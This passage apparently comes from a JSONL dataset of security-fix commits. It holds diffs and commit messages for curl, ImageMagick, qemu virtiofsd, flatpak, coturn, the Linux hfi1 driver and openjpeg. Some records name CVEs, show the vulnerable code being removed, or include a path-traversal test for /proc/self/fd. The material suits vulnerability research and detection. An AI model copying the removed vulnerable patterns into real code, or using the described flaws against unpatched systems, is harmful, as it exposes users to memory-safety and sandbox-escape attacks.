*/\n out->stream=fopen(out->filename, \"wb\");\n if(!out->stream) {\n- warnf(config, \"Failed to create the file %s\\n\", out->filename);\n- /*\n- * Once that libcurl has called back my_fwrite() the returned value\n- * is checked against the amount that was intended to be written, if\n- * it does not match then it fails with CURLE_WRITE_ERROR. So at this\n- * point returning a value different from sz*nmemb indicates failure.\n- */\n- rc = (0 == (sz * nmemb)) ? 1 : 0;\n- return rc; /* failure */\n+ warnf(config, \"Failed to create the file %s: %s\\n\", out->filename,\n+ strerror(errno));\n+ return err_rc; /* failure */\n }\n }\n \n", "related": false}, {"section": "@@ -3349,11 +3377,10 @@ static size_t my_fwrite(void *buffer, size_t sz, size_t nmemb, void *stream)\n \n if(config->nobuffer) {\n /* disable output buffering */\n- res = fflush(out->stream);\n+ int res = fflush(out->stream);\n if(res) {\n /* return a value that isn't the same as sz * nmemb */\n- rc = (0 == (sz * nmemb)) ? 1 : 0;\n- return rc; /* failure */\n+ return err_rc; /* failure */\n }\n }\n \n", "related": false}, {"section": "@@ -4049,6 +4076,87 @@ static bool stdin_upload(const char *uploadfile)\n return curlx_strequal(uploadfile, \"-\") || curlx_strequal(uploadfile, \".\");\n }\n \n+static char*\n+parse_filename(char *ptr, int len)\n+{\n+ char* copy;\n+ char* p;\n+ char* q;\n+ char quote = 0;\n+\n+ /* simple implementation of strndup() */\n+ copy = malloc(len+1);\n+ if (!copy)\n+ return NULL;\n+ strncpy(copy, ptr, len);\n+ copy[len] = 0;\n+ \n+ p = copy;\n+ if (*p == '\\'' || *p == '\"') {\n+ /* store the starting quote */\n+ quote = *p;\n+ p++;\n+ }\n+\n+ /* if the filename contains a path, only use filename portion */\n+ q = strrchr(copy, '/');\n+ if (q) {\n+ p=q+1;\n+ if (!*p) {\n+ free(copy);\n+ return NULL;\n+ }\n+ }\n+\n+ q = strrchr(p, quote);\n+ if (q)\n+ *q = 0;\n+\n+ if (copy!=p)\n+ memmove(copy, p, strlen(p)+1);\n+\n+ return copy;\n+}\n+\n+static size_t\n+header_callback(void *ptr, size_t size, size_t nmemb, void *stream)\n+{\n+ struct OutStruct* outs = (struct OutStruct*)stream;\n+ const char* str = (char*)ptr;\n+ const size_t cb = size*nmemb;\n+ const char* end = (char*)ptr + cb;\n+\n+ if (cb > 20 && curlx_strnequal(str, \"Content-disposition:\", 20)) {\n+ char *p = (char*)str + 20;\n+\n+ /* look for the 'filename=' parameter\n+ (encoded filenames (*=) are not supported) */\n+ while (1) {\n+ char *filename;\n+\n+ while (p < end && !isalpha(*p))\n+ p++;\n+ if (p > end-9)\n+ break;\n+\n+ if (memcmp(p, \"filename=\", 9)) {\n+ /* no match, find next parameter */\n+ while ((p < end) && (*p != ';'))\n+ p++;\n+ continue;\n+ }\n+ p+=9;\n+ filename = parse_filename(p, cb - (p - str));\n+ if (filename) {\n+ outs->filename = filename;\n+ break;\n+ }\n+ }\n+ }\n+\n+ return cb;\n+}\n+\n static int\n operate(struct Configurable *config, int argc, argv_item_t argv[])\n {\n", "related": false}, {"section": "@@ -4431,7 +4539,7 @@ operate(struct Configurable *config, int argc, argv_item_t argv[])\n pc++;\n outfile = *pc ? strdup(pc): NULL;\n }\n- if(!outfile || !*outfile) {\n+ if((!outfile || !*outfile) && !config->content_disposition) {\n helpf(config->errors, \"Remote file name has no length!\\n\");\n res = CURLE_WRITE_ERROR;\n free(url);\n", "related": false}, {"section": "@@ -5046,6 +5154,12 @@ operate(struct Configurable *config, int argc, argv_item_t argv[])\n if(config->ftp_pret)\n my_setopt(curl, CURLOPT_FTP_USE_PRET, TRUE);\n \n+ if ((urlnode->flags & GETOUT_USEREMOTE)\n+ && config->content_disposition) {\n+ my_setopt(curl, CURLOPT_HEADERFUNCTION, header_callback);\n+ my_setopt(curl, CURLOPT_HEADERDATA, &outs);\n+ }\n+ \n retry_numretries = config->req_retry;\n \n retrystart = cutil_tvnow();\n", "related": false}, {"section": "@@ -5057,6 +5171,9 @@ operate(struct Configurable *config, int argc, argv_item_t argv[])\n break;\n }\n \n+ if (config->content_disposition && outs.stream && !config->mute)\n+ printf(\"curl: Saved to filename '%s'\\n\", outs.filename);\n+\n /* if retry-max-time is non-zero, make sure we haven't exceeded the\n time */\n if(retry_numretries &&", "related": false}]} +{"owner": "curl", "repo": "curl", "language": "C", "file_name": "lib/urldata.h", "commit_id": "3c9e021f86872baae412a427e807fbfa2f3e8a22", "commit_message": "Curl_easy: remember last connection by id, not by pointer\n\nCVE-2020-8231\n\nBug: https://curl.haxx.se/docs/CVE-2020-8231.html\n\nReported-by: Marc Aldorasi\nCloses #5824", "patch": "@@ -1300,7 +1300,7 @@ struct UrlState {\n /* buffers to store authentication data in, as parsed from input options */\n struct curltime keeps_speed; /* for the progress meter really */\n \n- struct connectdata *lastconnect; /* The last connection, NULL if undefined */\n+ long lastconnect_id; /* The last connection, -1 if undefined */\n struct dynbuf headerb; /* buffer to store headers in */\n \n char *buffer; /* download buffer */", "sections": [{"section": "@@ -1300,7 +1300,7 @@ struct UrlState {\n /* buffers to store authentication data in, as parsed from input options */\n struct curltime keeps_speed; /* for the progress meter really */\n \n- struct connectdata *lastconnect; /* The last connection, NULL if undefined */\n+ long lastconnect_id; /* The last connection, -1 if undefined */\n struct dynbuf headerb; /* buffer to store headers in */\n \n char *buffer; /* download buffer */", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "MagickCore/quantum-private.h", "commit_id": "e88532bd4418e95b70cbc415fe911d22ab27a5fd", "commit_message": "https://github.com/ImageMagick/ImageMagick/issues/1712", "patch": "@@ -324,6 +324,8 @@ static inline Quantum ScaleAnyToQuantum(const QuantumAny quantum,\n static inline QuantumAny ScaleQuantumToAny(const Quantum quantum,\n const QuantumAny range)\n {\n+ if (quantum < 0)\n+ return((QuantumAny) 0);\n return((QuantumAny) (((double) range*quantum)/QuantumRange+0.5));\n }\n ", "sections": [{"section": "@@ -324,6 +324,8 @@ static inline Quantum ScaleAnyToQuantum(const QuantumAny quantum,\n static inline QuantumAny ScaleQuantumToAny(const Quantum quantum,\n const QuantumAny range)\n {\n+ if (quantum < 0)\n+ return((QuantumAny) 0);\n return((QuantumAny) (((double) range*quantum)/QuantumRange+0.5));\n }\n ", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "MagickCore/histogram.c", "commit_id": "94691f00839dbdf43edb1508af945ab19b388573", "commit_message": "https://github.com/ImageMagick/ImageMagick/issues/1750", "patch": "@@ -987,12 +987,12 @@ static int HistogramCompare(const void *x,const void *y)\n color_1=(const PixelInfo *) x;\n color_2=(const PixelInfo *) y;\n if (color_2->red != color_1->red)\n- return((int) color_1->red-(int) color_2->red);\n+ return((int) ((ssize_t) color_1->red-(ssize_t) color_2->red));\n if (color_2->green != color_1->green)\n- return((int) color_1->green-(int) color_2->green);\n+ return((int) ((ssize_t) color_1->green-(ssize_t) color_2->green));\n if (color_2->blue != color_1->blue)\n- return((int) color_1->blue-(int) color_2->blue);\n- return((int) color_2->count-(int) color_1->count);\n+ return((int) ((ssize_t) color_1->blue-(ssize_t) color_2->blue));\n+ return((int) ((ssize_t) color_2->count-(ssize_t) color_1->count));\n }\n \n #if defined(__cplusplus) || defined(c_plusplus)", "sections": [{"section": "@@ -987,12 +987,12 @@ static int HistogramCompare(const void *x,const void *y)\n color_1=(const PixelInfo *) x;\n color_2=(const PixelInfo *) y;\n if (color_2->red != color_1->red)\n- return((int) color_1->red-(int) color_2->red);\n+ return((int) ((ssize_t) color_1->red-(ssize_t) color_2->red));\n if (color_2->green != color_1->green)\n- return((int) color_1->green-(int) color_2->green);\n+ return((int) ((ssize_t) color_1->green-(ssize_t) color_2->green));\n if (color_2->blue != color_1->blue)\n- return((int) color_1->blue-(int) color_2->blue);\n- return((int) color_2->count-(int) color_1->count);\n+ return((int) ((ssize_t) color_1->blue-(ssize_t) color_2->blue));\n+ return((int) ((ssize_t) color_2->count-(ssize_t) color_1->count));\n }\n \n #if defined(__cplusplus) || defined(c_plusplus)", "related": false}]} +{"owner": "qemu", "repo": "qemu", "language": "C", "file_name": "tools/virtiofsd/passthrough_ll.c", "commit_id": "ebf101955ce8f8d72fba103b5151115a4335de2c", "commit_message": "virtiofsd: avoid /proc/self/fd tempdir\n\nIn order to prevent /proc/self/fd escapes a temporary directory is\ncreated where /proc/self/fd is bind-mounted. This doesn't work on\nread-only file systems.\n\nAvoid the temporary directory by bind-mounting /proc/self/fd over /proc.\nThis does not affect other processes since we remounted / with MS_REC |\nMS_SLAVE. /proc must exist and virtiofsd does not use it so it's safe to\ndo this.\n\nPath traversal can be tested with the following function:\n\n static void test_proc_fd_escape(struct lo_data *lo)\n {\n int fd;\n int level = 0;\n ino_t last_ino = 0;\n\n fd = lo->proc_self_fd;\n for (;;) {\n struct stat st;\n\n if (fstat(fd, &st) != 0) {\n perror(\"fstat\");\n return;\n }\n if (last_ino && st.st_ino == last_ino) {\n fprintf(stderr, \"inode number unchanged, stopping\\n\");\n return;\n }\n last_ino = st.st_ino;\n\n fprintf(stderr, \"Level %d dev %lu ino %lu\\n\", level,\n (unsigned long)st.st_dev,\n (unsigned long)last_ino);\n fd = openat(fd, \"..\", O_PATH | O_DIRECTORY | O_NOFOLLOW);\n level++;\n }\n }\n\nBefore and after this patch only Level 0 is displayed. Without\n/proc/self/fd bind-mount protection it is possible to traverse parent\ndirectories.\n\nFixes: 397ae982f4df4 (\"virtiofsd: jail lo->proc_self_fd\")\nCc: Miklos Szeredi \nCc: Jens Freimann \nSigned-off-by: Stefan Hajnoczi \nMessage-Id: <20201006095826.59813-1-stefanha@redhat.com>\nReviewed-by: Dr. David Alan Gilbert \nTested-by: Jens Freimann \nReviewed-by: Jens Freimann \nSigned-off-by: Dr. David Alan Gilbert ", "patch": "@@ -2393,8 +2393,6 @@ static void setup_wait_parent_capabilities(void)\n static void setup_namespaces(struct lo_data *lo, struct fuse_session *se)\n {\n pid_t child;\n- char template[] = \"virtiofsd-XXXXXX\";\n- char *tmpdir;\n \n /*\n * Create a new pid namespace for *child* processes. We'll have to\n@@ -2458,33 +2456,23 @@ static void setup_namespaces(struct lo_data *lo, struct fuse_session *se)\n exit(1);\n }\n \n- tmpdir = mkdtemp(template);\n- if (!tmpdir) {\n- fuse_log(FUSE_LOG_ERR, \"tmpdir(%s): %m\\n\", template);\n- exit(1);\n- }\n-\n- if (mount(\"/proc/self/fd\", tmpdir, NULL, MS_BIND, NULL) < 0) {\n- fuse_log(FUSE_LOG_ERR, \"mount(/proc/self/fd, %s, MS_BIND): %m\\n\",\n- tmpdir);\n+ /*\n+ * We only need /proc/self/fd. Prevent \"..\" from accessing parent\n+ * directories of /proc/self/fd by bind-mounting it over /proc. Since / was\n+ * previously remounted with MS_REC | MS_SLAVE this mount change only\n+ * affects our process.\n+ */\n+ if (mount(\"/proc/self/fd\", \"/proc\", NULL, MS_BIND, NULL) < 0) {\n+ fuse_log(FUSE_LOG_ERR, \"mount(/proc/self/fd, MS_BIND): %m\\n\");\n exit(1);\n }\n \n- /* Now we can get our /proc/self/fd directory file descriptor */\n- lo->proc_self_fd = open(tmpdir, O_PATH);\n+ /* Get the /proc (actually /proc/self/fd, see above) file descriptor */\n+ lo->proc_self_fd = open(\"/proc\", O_PATH);\n if (lo->proc_self_fd == -1) {\n- fuse_log(FUSE_LOG_ERR, \"open(%s, O_PATH): %m\\n\", tmpdir);\n+ fuse_log(FUSE_LOG_ERR, \"open(/proc, O_PATH): %m\\n\");\n exit(1);\n }\n-\n- if (umount2(tmpdir, MNT_DETACH) < 0) {\n- fuse_log(FUSE_LOG_ERR, \"umount2(%s, MNT_DETACH): %m\\n\", tmpdir);\n- exit(1);\n- }\n-\n- if (rmdir(tmpdir) < 0) {\n- fuse_log(FUSE_LOG_ERR, \"rmdir(%s): %m\\n\", tmpdir);\n- }\n }\n \n /*", "sections": [{"section": "@@ -2393,8 +2393,6 @@ static void setup_wait_parent_capabilities(void)\n static void setup_namespaces(struct lo_data *lo, struct fuse_session *se)\n {\n pid_t child;\n- char template[] = \"virtiofsd-XXXXXX\";\n- char *tmpdir;\n \n /*\n * Create a new pid namespace for *child* processes. We'll have to\n", "related": false}, {"section": "@@ -2458,33 +2456,23 @@ static void setup_namespaces(struct lo_data *lo, struct fuse_session *se)\n exit(1);\n }\n \n- tmpdir = mkdtemp(template);\n- if (!tmpdir) {\n- fuse_log(FUSE_LOG_ERR, \"tmpdir(%s): %m\\n\", template);\n- exit(1);\n- }\n-\n- if (mount(\"/proc/self/fd\", tmpdir, NULL, MS_BIND, NULL) < 0) {\n- fuse_log(FUSE_LOG_ERR, \"mount(/proc/self/fd, %s, MS_BIND): %m\\n\",\n- tmpdir);\n+ /*\n+ * We only need /proc/self/fd. Prevent \"..\" from accessing parent\n+ * directories of /proc/self/fd by bind-mounting it over /proc. Since / was\n+ * previously remounted with MS_REC | MS_SLAVE this mount change only\n+ * affects our process.\n+ */\n+ if (mount(\"/proc/self/fd\", \"/proc\", NULL, MS_BIND, NULL) < 0) {\n+ fuse_log(FUSE_LOG_ERR, \"mount(/proc/self/fd, MS_BIND): %m\\n\");\n exit(1);\n }\n \n- /* Now we can get our /proc/self/fd directory file descriptor */\n- lo->proc_self_fd = open(tmpdir, O_PATH);\n+ /* Get the /proc (actually /proc/self/fd, see above) file descriptor */\n+ lo->proc_self_fd = open(\"/proc\", O_PATH);\n if (lo->proc_self_fd == -1) {\n- fuse_log(FUSE_LOG_ERR, \"open(%s, O_PATH): %m\\n\", tmpdir);\n+ fuse_log(FUSE_LOG_ERR, \"open(/proc, O_PATH): %m\\n\");\n exit(1);\n }\n-\n- if (umount2(tmpdir, MNT_DETACH) < 0) {\n- fuse_log(FUSE_LOG_ERR, \"umount2(%s, MNT_DETACH): %m\\n\", tmpdir);\n- exit(1);\n- }\n-\n- if (rmdir(tmpdir) < 0) {\n- fuse_log(FUSE_LOG_ERR, \"rmdir(%s): %m\\n\", tmpdir);\n- }\n }\n \n /*", "related": false}]} +{"owner": "flatpak", "repo": "flatpak", "language": "C", "file_name": "common/flatpak-bwrap-private.h", "commit_id": "6d1773d2a54dde9b099043f07a2094a4f1c2f486", "commit_message": "run: Convert all environment variables into bwrap arguments\n\nThis avoids some of them being filtered out by a setuid bwrap. It also\nmeans that if they came from an untrusted source, they cannot be used\nto inject arbitrary code into a non-setuid bwrap via mechanisms like\nLD_PRELOAD.\n\nBecause they get bundled into a memfd or temporary file, they do not\nactually appear in argv, ensuring that they remain inaccessible to\nprocesses running under a different uid (which is important if their\nvalues are tokens or other secrets).\n\nSigned-off-by: Simon McVittie \nPart-of: https://github.com/flatpak/flatpak/security/advisories/GHSA-4ppf-fxf6-vxg2", "patch": "@@ -43,6 +43,8 @@ void flatpak_bwrap_unset_env (FlatpakBwrap *bwrap,\n const char *variable);\n void flatpak_bwrap_add_arg (FlatpakBwrap *bwrap,\n const char *arg);\n+void flatpak_bwrap_take_arg (FlatpakBwrap *bwrap,\n+ char *arg);\n void flatpak_bwrap_add_noinherit_fd (FlatpakBwrap *bwrap,\n int fd);\n void flatpak_bwrap_add_fd (FlatpakBwrap *bwrap,\n@@ -73,6 +75,7 @@ void flatpak_bwrap_add_bind_arg (FlatpakBwrap *bwrap,\n const char *type,\n const char *src,\n const char *dest);\n+void flatpak_bwrap_envp_to_args (FlatpakBwrap *bwrap);\n gboolean flatpak_bwrap_bundle_args (FlatpakBwrap *bwrap,\n int start,\n int end,", "sections": [{"section": "@@ -43,6 +43,8 @@ void flatpak_bwrap_unset_env (FlatpakBwrap *bwrap,\n const char *variable);\n void flatpak_bwrap_add_arg (FlatpakBwrap *bwrap,\n const char *arg);\n+void flatpak_bwrap_take_arg (FlatpakBwrap *bwrap,\n+ char *arg);\n void flatpak_bwrap_add_noinherit_fd (FlatpakBwrap *bwrap,\n int fd);\n void flatpak_bwrap_add_fd (FlatpakBwrap *bwrap,\n", "related": false}, {"section": "@@ -73,6 +75,7 @@ void flatpak_bwrap_add_bind_arg (FlatpakBwrap *bwrap,\n const char *type,\n const char *src,\n const char *dest);\n+void flatpak_bwrap_envp_to_args (FlatpakBwrap *bwrap);\n gboolean flatpak_bwrap_bundle_args (FlatpakBwrap *bwrap,\n int start,\n int end,", "related": false}]} +{"owner": "coturn", "repo": "coturn", "language": "C", "file_name": "src/server/ns_turn_server.c", "commit_id": "abfe1fd08d78baa0947d17dac0f7411c3d948e4d", "commit_message": "Merge branch 'advisory-fix-1' CVE-2020-26262", "patch": "@@ -273,6 +273,8 @@ static int good_peer_addr(turn_turnserver *server, const char* realm, ioa_addr *\n \t\t\treturn 0;\n \t\tif( !*(server->allow_loopback_peers) && ioa_addr_is_loopback(peer_addr))\n \t\t\treturn 0;\n+\t\tif (ioa_addr_is_zero(peer_addr))\n+\t\t\treturn 0;\n \n \t\t{\n \t\t\tint i;", "sections": [{"section": "@@ -273,6 +273,8 @@ static int good_peer_addr(turn_turnserver *server, const char* realm, ioa_addr *\n \t\t\treturn 0;\n \t\tif( !*(server->allow_loopback_peers) && ioa_addr_is_loopback(peer_addr))\n \t\t\treturn 0;\n+\t\tif (ioa_addr_is_zero(peer_addr))\n+\t\t\treturn 0;\n \n \t\t{\n \t\t\tint i;", "related": false}]} +{"owner": "gregkh", "repo": "linux", "language": "C", "file_name": "drivers/infiniband/hw/hfi1/mmu_rb.c", "commit_id": "3d2a9d642512c21a12d19b9250e7a835dcb41a79", "commit_message": "IB/hfi1: Ensure correct mm is used at all times\n\nTwo earlier bug fixes have created a security problem in the hfi1\ndriver. One fix aimed to solve an issue where current->mm was not valid\nwhen closing the hfi1 cdev. It attempted to do this by saving a cached\nvalue of the current->mm pointer at file open time. This is a problem if\nanother process with access to the FD calls in via write() or ioctl() to\npin pages via the hfi driver. The other fix tried to solve a use after\nfree by taking a reference on the mm.\n\nTo fix this correctly we use the existing cached value of the mm in the\nmmu notifier. Now we can check in the insert, evict, etc. routines that\ncurrent->mm matched what the notifier was registered for. If not, then\ndon't allow access. The register of the mmu notifier will save the mm\npointer.\n\nSince in do_exit() the exit_mm() is called before exit_files(), which\nwould call our close routine a reference is needed on the mm. We rely on\nthe mmgrab done by the registration of the notifier, whereas before it was\nexplicit. The mmu notifier deregistration happens when the user context is\ntorn down, the creation of which triggered the registration.\n\nAlso of note is we do not do any explicit work to protect the interval\ntree notifier. It doesn't seem that this is going to be needed since we\naren't actually doing anything with current->mm. The interval tree\nnotifier stuff still has a FIXME noted from a previous commit that will be\naddressed in a follow on patch.\n\nCc: \nFixes: e0cf75deab81 (\"IB/hfi1: Fix mm_struct use after free\")\nFixes: 3faa3d9a308e (\"IB/hfi1: Make use of mm consistent\")\nLink: https://lore.kernel.org/r/20201125210112.104301.51331.stgit@awfm-01.aw.intel.com\nSuggested-by: Jann Horn \nReported-by: Jason Gunthorpe \nReviewed-by: Ira Weiny \nReviewed-by: Mike Marciniszyn \nSigned-off-by: Dennis Dalessandro \nSigned-off-by: Jason Gunthorpe ", "patch": "@@ -1,4 +1,5 @@\n /*\n+ * Copyright(c) 2020 Cornelis Networks, Inc.\n * Copyright(c) 2016 - 2017 Intel Corporation.\n *\n * This file is provided under a dual BSD/GPLv2 license. When using or\n@@ -48,23 +49,11 @@\n #include \n #include \n #include \n+#include \n \n #include \"mmu_rb.h\"\n #include \"trace.h\"\n \n-struct mmu_rb_handler {\n-\tstruct mmu_notifier mn;\n-\tstruct rb_root_cached root;\n-\tvoid *ops_arg;\n-\tspinlock_t lock; /* protect the RB tree */\n-\tstruct mmu_rb_ops *ops;\n-\tstruct mm_struct *mm;\n-\tstruct list_head lru_list;\n-\tstruct work_struct del_work;\n-\tstruct list_head del_list;\n-\tstruct workqueue_struct *wq;\n-};\n-\n static unsigned long mmu_node_start(struct mmu_rb_node *);\n static unsigned long mmu_node_last(struct mmu_rb_node *);\n static int mmu_notifier_range_start(struct mmu_notifier *,\n@@ -92,37 +81,36 @@ static unsigned long mmu_node_last(struct mmu_rb_node *node)\n \treturn PAGE_ALIGN(node->addr + node->len) - 1;\n }\n \n-int hfi1_mmu_rb_register(void *ops_arg, struct mm_struct *mm,\n+int hfi1_mmu_rb_register(void *ops_arg,\n \t\t\t struct mmu_rb_ops *ops,\n \t\t\t struct workqueue_struct *wq,\n \t\t\t struct mmu_rb_handler **handler)\n {\n-\tstruct mmu_rb_handler *handlr;\n+\tstruct mmu_rb_handler *h;\n \tint ret;\n \n-\thandlr = kmalloc(sizeof(*handlr), GFP_KERNEL);\n-\tif (!handlr)\n+\th = kmalloc(sizeof(*h), GFP_KERNEL);\n+\tif (!h)\n \t\treturn -ENOMEM;\n \n-\thandlr->root = RB_ROOT_CACHED;\n-\thandlr->ops = ops;\n-\thandlr->ops_arg = ops_arg;\n-\tINIT_HLIST_NODE(&handlr->mn.hlist);\n-\tspin_lock_init(&handlr->lock);\n-\thandlr->mn.ops = &mn_opts;\n-\thandlr->mm = mm;\n-\tINIT_WORK(&handlr->del_work, handle_remove);\n-\tINIT_LIST_HEAD(&handlr->del_list);\n-\tINIT_LIST_HEAD(&handlr->lru_list);\n-\thandlr->wq = wq;\n-\n-\tret = mmu_notifier_register(&handlr->mn, handlr->mm);\n+\th->root = RB_ROOT_CACHED;\n+\th->ops = ops;\n+\th->ops_arg = ops_arg;\n+\tINIT_HLIST_NODE(&h->mn.hlist);\n+\tspin_lock_init(&h->lock);\n+\th->mn.ops = &mn_opts;\n+\tINIT_WORK(&h->del_work, handle_remove);\n+\tINIT_LIST_HEAD(&h->del_list);\n+\tINIT_LIST_HEAD(&h->lru_list);\n+\th->wq = wq;\n+\n+\tret = mmu_notifier_register(&h->mn, current->mm);\n \tif (ret) {\n-\t\tkfree(handlr);\n+\t\tkfree(h);\n \t\treturn ret;\n \t}\n \n-\t*handler = handlr;\n+\t*handler = h;\n \treturn 0;\n }\n \n@@ -134,7 +122,7 @@ void hfi1_mmu_rb_unregister(struct mmu_rb_handler *handler)\n \tstruct list_head del_list;\n \n \t/* Unregister first so we don't get any more notifications. */\n-\tmmu_notifier_unregister(&handler->mn, handler->mm);\n+\tmmu_notifier_unregister(&handler->mn, handler->mn.mm);\n \n \t/*\n \t * Make sure the wq delete handler is finished running. It will not\n@@ -166,6 +154,10 @@ int hfi1_mmu_rb_insert(struct mmu_rb_handler *handler,\n \tint ret = 0;\n \n \ttrace_hfi1_mmu_rb_insert(mnode->addr, mnode->len);\n+\n+\tif (current->mm != handler->mn.mm)\n+\t\treturn -EPERM;\n+\n \tspin_lock_irqsave(&handler->lock, flags);\n \tnode = __mmu_rb_search(handler, mnode->addr, mnode->len);\n \tif (node) {\n@@ -180,6 +172,7 @@ int hfi1_mmu_rb_insert(struct mmu_rb_handler *handler,\n \t\t__mmu_int_rb_remove(mnode, &handler->root);\n \t\tlist_del(&mnode->list); /* remove from LRU list */\n \t}\n+\tmnode->handler = handler;\n unlock:\n \tspin_unlock_irqrestore(&handler->lock, flags);\n \treturn ret;\n@@ -217,6 +210,9 @@ bool hfi1_mmu_rb_remove_unless_exact(struct mmu_rb_handler *handler,\n \tunsigned long flags;\n \tbool ret = false;\n \n+\tif (current->mm != handler->mn.mm)\n+\t\treturn ret;\n+\n \tspin_lock_irqsave(&handler->lock, flags);\n \tnode = __mmu_rb_search(handler, addr, len);\n \tif (node) {\n@@ -239,6 +235,9 @@ void hfi1_mmu_rb_evict(struct mmu_rb_handler *handler, void *evict_arg)\n \tunsigned long flags;\n \tbool stop = false;\n \n+\tif (current->mm != handler->mn.mm)\n+\t\treturn;\n+\n \tINIT_LIST_HEAD(&del_list);\n \n \tspin_lock_irqsave(&handler->lock, flags);\n@@ -272,6 +271,9 @@ void hfi1_mmu_rb_remove(struct mmu_rb_handler *handler,\n {\n \tunsigned long flags;\n \n+\tif (current->mm != handler->mn.mm)\n+\t\treturn;\n+\n \t/* Validity of handler and node pointers has been checked by caller. */\n \ttrace_hfi1_mmu_rb_remove(node->addr, node->len);\n \tspin_lock_irqsave(&handler->lock, flags);", "sections": [{"section": "@@ -1,4 +1,5 @@\n /*\n+ * Copyright(c) 2020 Cornelis Networks, Inc.\n * Copyright(c) 2016 - 2017 Intel Corporation.\n *\n * This file is provided under a dual BSD/GPLv2 license. When using or\n", "related": false}, {"section": "@@ -48,23 +49,11 @@\n #include \n #include \n #include \n+#include \n \n #include \"mmu_rb.h\"\n #include \"trace.h\"\n \n-struct mmu_rb_handler {\n-\tstruct mmu_notifier mn;\n-\tstruct rb_root_cached root;\n-\tvoid *ops_arg;\n-\tspinlock_t lock; /* protect the RB tree */\n-\tstruct mmu_rb_ops *ops;\n-\tstruct mm_struct *mm;\n-\tstruct list_head lru_list;\n-\tstruct work_struct del_work;\n-\tstruct list_head del_list;\n-\tstruct workqueue_struct *wq;\n-};\n-\n static unsigned long mmu_node_start(struct mmu_rb_node *);\n static unsigned long mmu_node_last(struct mmu_rb_node *);\n static int mmu_notifier_range_start(struct mmu_notifier *,\n", "related": false}, {"section": "@@ -92,37 +81,36 @@ static unsigned long mmu_node_last(struct mmu_rb_node *node)\n \treturn PAGE_ALIGN(node->addr + node->len) - 1;\n }\n \n-int hfi1_mmu_rb_register(void *ops_arg, struct mm_struct *mm,\n+int hfi1_mmu_rb_register(void *ops_arg,\n \t\t\t struct mmu_rb_ops *ops,\n \t\t\t struct workqueue_struct *wq,\n \t\t\t struct mmu_rb_handler **handler)\n {\n-\tstruct mmu_rb_handler *handlr;\n+\tstruct mmu_rb_handler *h;\n \tint ret;\n \n-\thandlr = kmalloc(sizeof(*handlr), GFP_KERNEL);\n-\tif (!handlr)\n+\th = kmalloc(sizeof(*h), GFP_KERNEL);\n+\tif (!h)\n \t\treturn -ENOMEM;\n \n-\thandlr->root = RB_ROOT_CACHED;\n-\thandlr->ops = ops;\n-\thandlr->ops_arg = ops_arg;\n-\tINIT_HLIST_NODE(&handlr->mn.hlist);\n-\tspin_lock_init(&handlr->lock);\n-\thandlr->mn.ops = &mn_opts;\n-\thandlr->mm = mm;\n-\tINIT_WORK(&handlr->del_work, handle_remove);\n-\tINIT_LIST_HEAD(&handlr->del_list);\n-\tINIT_LIST_HEAD(&handlr->lru_list);\n-\thandlr->wq = wq;\n-\n-\tret = mmu_notifier_register(&handlr->mn, handlr->mm);\n+\th->root = RB_ROOT_CACHED;\n+\th->ops = ops;\n+\th->ops_arg = ops_arg;\n+\tINIT_HLIST_NODE(&h->mn.hlist);\n+\tspin_lock_init(&h->lock);\n+\th->mn.ops = &mn_opts;\n+\tINIT_WORK(&h->del_work, handle_remove);\n+\tINIT_LIST_HEAD(&h->del_list);\n+\tINIT_LIST_HEAD(&h->lru_list);\n+\th->wq = wq;\n+\n+\tret = mmu_notifier_register(&h->mn, current->mm);\n \tif (ret) {\n-\t\tkfree(handlr);\n+\t\tkfree(h);\n \t\treturn ret;\n \t}\n \n-\t*handler = handlr;\n+\t*handler = h;\n \treturn 0;\n }\n \n", "related": false}, {"section": "@@ -134,7 +122,7 @@ void hfi1_mmu_rb_unregister(struct mmu_rb_handler *handler)\n \tstruct list_head del_list;\n \n \t/* Unregister first so we don't get any more notifications. */\n-\tmmu_notifier_unregister(&handler->mn, handler->mm);\n+\tmmu_notifier_unregister(&handler->mn, handler->mn.mm);\n \n \t/*\n \t * Make sure the wq delete handler is finished running. It will not\n", "related": false}, {"section": "@@ -166,6 +154,10 @@ int hfi1_mmu_rb_insert(struct mmu_rb_handler *handler,\n \tint ret = 0;\n \n \ttrace_hfi1_mmu_rb_insert(mnode->addr, mnode->len);\n+\n+\tif (current->mm != handler->mn.mm)\n+\t\treturn -EPERM;\n+\n \tspin_lock_irqsave(&handler->lock, flags);\n \tnode = __mmu_rb_search(handler, mnode->addr, mnode->len);\n \tif (node) {\n", "related": false}, {"section": "@@ -180,6 +172,7 @@ int hfi1_mmu_rb_insert(struct mmu_rb_handler *handler,\n \t\t__mmu_int_rb_remove(mnode, &handler->root);\n \t\tlist_del(&mnode->list); /* remove from LRU list */\n \t}\n+\tmnode->handler = handler;\n unlock:\n \tspin_unlock_irqrestore(&handler->lock, flags);\n \treturn ret;\n", "related": false}, {"section": "@@ -217,6 +210,9 @@ bool hfi1_mmu_rb_remove_unless_exact(struct mmu_rb_handler *handler,\n \tunsigned long flags;\n \tbool ret = false;\n \n+\tif (current->mm != handler->mn.mm)\n+\t\treturn ret;\n+\n \tspin_lock_irqsave(&handler->lock, flags);\n \tnode = __mmu_rb_search(handler, addr, len);\n \tif (node) {\n", "related": false}, {"section": "@@ -239,6 +235,9 @@ void hfi1_mmu_rb_evict(struct mmu_rb_handler *handler, void *evict_arg)\n \tunsigned long flags;\n \tbool stop = false;\n \n+\tif (current->mm != handler->mn.mm)\n+\t\treturn;\n+\n \tINIT_LIST_HEAD(&del_list);\n \n \tspin_lock_irqsave(&handler->lock, flags);\n", "related": false}, {"section": "@@ -272,6 +271,9 @@ void hfi1_mmu_rb_remove(struct mmu_rb_handler *handler,\n {\n \tunsigned long flags;\n \n+\tif (current->mm != handler->mn.mm)\n+\t\treturn;\n+\n \t/* Validity of handler and node pointers has been checked by caller. */\n \ttrace_hfi1_mmu_rb_remove(node->addr, node->len);\n \tspin_lock_irqsave(&handler->lock, flags);", "related": false}]} +{"owner": "uclouvain", "repo": "openjpeg", "language": "C", "file_name": "src/lib/openjp2/t2.c", "commit_id": "38d661a3897052c7ff0b39b30c29cb067e130121", "commit_message": "opj_t2_encode_packet(): avoid out of bound access of #1297, but likely not the proper fix", "patch": "@@ -815,6 +815,15 @@ static OPJ_BOOL opj_t2_encode_packet(OPJ_UINT32 tileno,\n continue;\n }\n \n+ /* Avoid out of bounds access of https://github.com/uclouvain/openjpeg/issues/1297 */\n+ /* but likely not a proper fix. */\n+ if (precno >= res->pw * 